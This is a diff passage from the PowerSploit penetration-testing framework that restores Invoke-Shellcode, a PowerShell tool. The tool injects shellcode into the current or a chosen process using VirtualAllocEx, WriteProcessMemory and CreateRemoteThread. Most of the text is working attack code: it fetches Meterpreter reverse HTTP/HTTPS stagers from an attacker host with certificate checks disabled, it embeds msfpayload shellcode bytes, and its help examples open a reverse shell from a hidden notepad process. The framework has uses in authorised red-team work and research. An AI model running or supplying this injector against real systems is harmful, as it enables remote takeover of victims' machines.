shellcode memory in PID: $ProcessID" - } - - Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))" - - # Copy shellcode to RWX buffer - [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length) - - # Get address of ExitThread function - $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread - - if ($PowerShell32bit) - { - $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32 - - Write-Verbose 'Emitting 32-bit assembly call stub.' - } - else - { - $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64 - - Write-Verbose 'Emitting 64-bit assembly call stub.' - } - - # Allocate RWX memory for the thread call stub - $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) - if (!$CallStubAddress) - { - Throw "Unable to allocate thread call stub." - } - - Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))" - - # Copy call stub to RWX buffer - [System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length) - - # Launch shellcode in it's own thread - $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero) - if (!$ThreadHandle) - { - Throw "Unable to launch thread." - } - - # Wait for shellcode thread to terminate - $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null - - $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) - $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) - - Write-Verbose 'Shellcode injection complete!' - } - - # A valid pointer to IsWow64Process will be returned if CPU is 64-bit - $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process - if ($IsWow64ProcessAddr) - { - $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) - $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) - - $64bitCPU = $true - } - else - { - $64bitCPU = $false - } - - if ([IntPtr]::Size -eq 4) - { - $PowerShell32bit = $true - } - else - { - $PowerShell32bit = $false - } - - if ($PsCmdlet.ParameterSetName -eq 'Metasploit') - { - if (!$PowerShell32bit) { - # The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell - # Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function - - # Pull out just the content of the this script's invocation. - $RootInvocation = $MyInvocation.Line - - $Response = $True - - if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?", - "Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { } - - if ( !$Response ) - { - # User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function - Return - } - - # Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt. - if ($MyInvocation.BoundParameters['Force']) - { - Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation" - $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n" - } - else - { - Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force" - $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n" - } - - $CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command) - $EncodedCommand = [Convert]::ToBase64String($CommandBytes) - - $Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -" - Invoke-Expression -Command $Execute | Out-Null - - # Exit the script since the shellcode will be running from x86 PowerShell - Return - } - - $Response = $True - - if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?", - "About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { } - - if ( !$Response ) - { - # User opted not to carry out download of Metasploit payload. Exit function - Return - } - - switch ($Payload) - { - 'windows/meterpreter/reverse_http' - { - $SSL = '' - } - - 'windows/meterpreter/reverse_https' - { - $SSL = 's' - # Accept invalid certificates - [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$True} - } - } - - if ($Legacy) - { - # Old Meterpreter handler expects 'INITM' in the URI in order to initiate stage 0 - $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM" - Write-Verbose "Requesting meterpreter payload from $Request" - } else { - - # Generate a URI that passes the test - $CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {[Char]$_} - $SumTest = $False - - while ($SumTest -eq $False) - { - $GeneratedUri = $CharArray | Get-Random -Count 4 - $SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92) - } - - $RequestUri = -join $GeneratedUri - - $Request = "http$($SSL)://$($Lhost):$($Lport)/$($RequestUri)" - } - - $Uri = New-Object Uri($Request) - $WebClient = New-Object System.Net.WebClient - $WebClient.Headers.Add('user-agent', "$UserAgent") - - if ($Proxy) - { - $WebProxyObject = New-Object System.Net.WebProxy - $ProxyAddress = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').ProxyServer - - # if there is no proxy set, then continue without it - if ($ProxyAddress) - { - - $WebProxyObject.Address = $ProxyAddress - $WebProxyObject.UseDefaultCredentials = $True - $WebClientObject.Proxy = $WebProxyObject - } - } - - try - { - [Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri) - } - catch - { - Throw "$($Error[0].Exception.InnerException.InnerException.Message)" - } - [Byte[]] $Shellcode64 = $Shellcode32 - - } - elseif ($PSBoundParameters['Shellcode']) - { - # Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets - # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it. - [Byte[]] $Shellcode32 = $Shellcode - [Byte[]] $Shellcode64 = $Shellcode32 - } - else - { - # Pop a calc... or whatever shellcode you decide to place in here - # I sincerely hope you trust that this shellcode actually pops a calc... - # Insert your shellcode here in the for 0xXX,0xXX,... - # 32-bit payload - # msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread - [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b, - 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0, - 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57, - 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01, - 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b, - 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4, - 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, - 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24, - 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d, - 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5, - 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a, - 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63, - 0x61,0x6c,0x63,0x00) - - # 64-bit payload - # msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread - [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, - 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, - 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, - 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, - 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, - 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, - 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, - 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, - 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, - 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, - 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, - 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, - 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, - 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, - 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, - 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00) - } - - if ( $PSBoundParameters['ProcessID'] ) - { - # Inject shellcode into the specified process ID - $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess - $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) - $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) - $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx - $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr]) - $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) - $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory - $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool]) - $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) - $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread - $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) - $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) - $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle - $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) - $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) - - Write-Verbose "Injecting shellcode into PID: $ProcessId" - - if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', - "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) ) - { - Inject-RemoteShellcode $ProcessId - } - } - else - { - # Inject shellcode into the currently running PowerShell process - $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc - $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) - $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) - $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree - $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool]) - $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) - $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread - $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) - $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) - $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject - $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int]) - $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) - - Write-Verbose "Injecting shellcode into PowerShell" - - if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', - "Injecting shellcode into the running PowerShell process!" ) ) - { - Inject-LocalShellcode - } - } -} diff --git a/CodeExecution/Invoke-Shellcode.ps1 b/CodeExecution/Invoke-Shellcode.ps1 index 6ca6def2..87e2e84f 100644 --- a/CodeExecution/Invoke-Shellcode.ps1 +++ b/CodeExecution/Invoke-Shellcode.ps1 @@ -1,12 +1,155 @@ -# The actual Invoke-Shellcode has moved to Invoke--Shellcode.ps1. -# This was done to make a point that you have no security sense -# if you think it's okay to blindly download/exec code directly -# from a GitHub repo you don't control. This will undoubedtly break -# many scripts that have this path hardcoded. If you don't like it, -# fork PowerSploit and host it yourself. - function Invoke-Shellcode { +<# +.SYNOPSIS + +Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process. + +PowerSploit Function: Invoke-Shellcode +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre + +PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk): + +msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- + +Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary. + +.PARAMETER ProcessID + +Process ID of the process you want to inject shellcode into. + +.PARAMETER Shellcode + +Specifies an optional shellcode passed in as a byte array + +.PARAMETER ListMetasploitPayloads + +Lists all of the available Metasploit payloads that Invoke-Shellcode supports + +.PARAMETER Lhost + +Specifies the IP address of the attack machine waiting to receive the reverse shell + +.PARAMETER Lport + +Specifies the port of the attack machine waiting to receive the reverse shell + +.PARAMETER Payload + +Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported. + +.PARAMETER UserAgent + +Optionally specifies the user agent to use when using meterpreter http or https payloads + +.PARAMETER Proxy + +Optionally specifies whether to utilize the proxy settings on the machine. + +.PARAMETER Legacy + +Optionally specifies whether to utilize the older meterpreter handler "INITM". This will likely be removed in the future. + +.PARAMETER Force + +Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act. + +.EXAMPLE + +C:\PS> Invoke-Shellcode -ProcessId 4274 + +Description +----------- +Inject shellcode into process ID 4274. + +.EXAMPLE + +C:\PS> Invoke-Shellcode + +Description +----------- +Inject shellcode into the running instance of PowerShell. + +.EXAMPLE + +C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden +C:\PS> $Proc = Get-Process notepad +C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose + +VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM +VERBOSE: Injecting shellcode into PID: 4004 +VERBOSE: Injecting into a Wow64 process. +VERBOSE: Using 32-bit shellcode. +VERBOSE: Shellcode memory reserved at 0x03BE0000 +VERBOSE: Emitting 32-bit assembly call stub. +VERBOSE: Thread call stub memory reserved at 0x001B0000 +VERBOSE: Shellcode injection complete! + +Description +----------- +Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options: + +Payload options (windows/meterpreter/reverse_https): + +Name Current Setting Required Description +---- --------------- -------- ----------- +EXITFUNC thread yes Exit technique: seh, thread, process, none +LHOST 192.168.30.129 yes The local listener hostname +LPORT 443 yes The local listener port + +.EXAMPLE + +C:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80 + +Description +----------- +Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options: + +Payload options (windows/meterpreter/reverse_http): + +Name Current Setting Required Description +---- --------------- -------- ----------- +EXITFUNC thread yes Exit technique: seh, thread, process, none +LHOST 192.168.30.129 yes The local listener hostname +LPORT 80 yes The local listener port + +.EXAMPLE + +C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) + +Description +----------- +Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET) +Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit! + +.EXAMPLE + +C:\PS> Invoke-Shellcode -ListMetasploitPayloads + +Payloads +-------- +windows/meterpreter/reverse_http +windows/meterpreter/reverse_https + +.NOTES + +Use the '-Verbose' option to print detailed information. + +Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter + +Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/ + +.LINK + +http://www.exploit-monday.com +#> [CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param ( [ValidateNotNullOrEmpty()] @@ -44,11 +187,577 @@ function Invoke-Shellcode [Parameter( ParameterSetName = 'Metasploit' )] [ValidateNotNull()] [String] - $UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', + $UserAgent = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').'User Agent', + + [Parameter( ParameterSetName = 'Metasploit' )] + [ValidateNotNull()] + [Switch] + $Legacy = $False, + + [Parameter( ParameterSetName = 'Metasploit' )] + [ValidateNotNull()] + [Switch] + $Proxy = $False, [Switch] $Force = $False ) -throw 'Something terrible may have just happened and you have no idea what because you just arbitrarily download crap from the Internet and execute it.' + Set-StrictMode -Version 2.0 + + # List all available Metasploit payloads and exit the function + if ($PsCmdlet.ParameterSetName -eq 'ListPayloads') + { + $AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes | + Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]} + + foreach ($Payload in $AvailablePayloads.ValidValues) + { + New-Object PSObject -Property @{ Payloads = $Payload } + } + + Return + } + + if ( $PSBoundParameters['ProcessID'] ) + { + # Ensure a valid process ID was provided + # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive + Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null + } + + function Local:Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + function Local:Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + # Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload + function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture) + { + $IntSizePtr = $Architecture / 8 + + function Local:ConvertTo-LittleEndian ([IntPtr] $Address) + { + $LittleEndianByteArray = New-Object Byte[](0) + $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } } + [System.Array]::Reverse($LittleEndianByteArray) + + Write-Output $LittleEndianByteArray + } + + $CallStub = New-Object Byte[](0) + + if ($IntSizePtr -eq 8) + { + [Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode + $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode + $CallStub += 0xFF,0xD0 # CALL RAX + $CallStub += 0x6A,0x00 # PUSH BYTE 0 + $CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread + $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread + $CallStub += 0xFF,0xD0 # CALL RAX + } + else + { + [Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode + $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode + $CallStub += 0xFF,0xD0 # CALL EAX + $CallStub += 0x6A,0x00 # PUSH BYTE 0 + $CallStub += 0xB8 # MOV DWORD EAX, &ExitThread + $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread + $CallStub += 0xFF,0xD0 # CALL EAX + } + + Write-Output $CallStub + } + + function Local:Inject-RemoteShellcode ([Int] $ProcessID) + { + # Open a handle to the process you want to inject into + $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF) + + if (!$hProcess) + { + Throw "Unable to open a process handle for PID: $ProcessID" + } + + $IsWow64 = $false + + if ($64bitCPU) # Only perform theses checks if CPU is 64-bit + { + # Determine is the process specified is 32 or 64 bit + $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null + + if ((!$IsWow64) -and $PowerShell32bit) + { + Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.' + } + elseif ($IsWow64) # 32-bit Wow64 process + { + if ($Shellcode32.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode32 variable!' + } + + $Shellcode = $Shellcode32 + Write-Verbose 'Injecting into a Wow64 process.' + Write-Verbose 'Using 32-bit shellcode.' + } + else # 64-bit process + { + if ($Shellcode64.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode64 variable!' + } + + $Shellcode = $Shellcode64 + Write-Verbose 'Using 64-bit shellcode.' + } + } + else # 32-bit CPU + { + if ($Shellcode32.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode32 variable!' + } + + $Shellcode = $Shellcode32 + Write-Verbose 'Using 32-bit shellcode.' + } + + # Reserve and commit enough memory in remote process to hold the shellcode + $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) + + if (!$RemoteMemAddr) + { + Throw "Unable to allocate shellcode memory in PID: $ProcessID" + } + + Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))" + + # Copy shellcode into the previously allocated memory + $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null + + # Get address of ExitThread function + $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread + + if ($IsWow64) + { + # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread. + $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32 + + Write-Verbose 'Emitting 32-bit assembly call stub.' + } + else + { + # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread. + $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64 + + Write-Verbose 'Emitting 64-bit assembly call stub.' + } + + # Allocate inline assembly stub + $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX) + + if (!$RemoteStubAddr) + { + Throw "Unable to allocate thread call stub memory in PID: $ProcessID" + } + + Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))" + + # Write 32-bit assembly stub to remote process memory space + $WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null + + # Execute shellcode as a remote thread + $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero) + + if (!$ThreadHandle) + { + Throw "Unable to launch remote thread in PID: $ProcessID" + } + + # Close process handle + $CloseHandle.Invoke($hProcess) | Out-Null + + Write-Verbose 'Shellcode injection complete!' + } + + function Local:Inject-LocalShellcode + { + if ($PowerShell32bit) { + if ($Shellcode32.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode32 variable!' + return + } + + $Shellcode = $Shellcode32 + Write-Verbose 'Using 32-bit shellcode.' + } + else + { + if ($Shellcode64.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode64 variable!' + return + } + + $Shellcode = $Shellcode64 + Write-Verbose 'Using 64-bit shellcode.' + } + + # Allocate RWX memory for the shellcode + $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) + if (!$BaseAddress) + { + Throw "Unable to allocate shellcode memory in PID: $ProcessID" + } + + Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))" + + # Copy shellcode to RWX buffer + [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length) + + # Get address of ExitThread function + $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread + + if ($PowerShell32bit) + { + $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32 + + Write-Verbose 'Emitting 32-bit assembly call stub.' + } + else + { + $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64 + + Write-Verbose 'Emitting 64-bit assembly call stub.' + } + + # Allocate RWX memory for the thread call stub + $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) + if (!$CallStubAddress) + { + Throw "Unable to allocate thread call stub." + } + + Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))" + + # Copy call stub to RWX buffer + 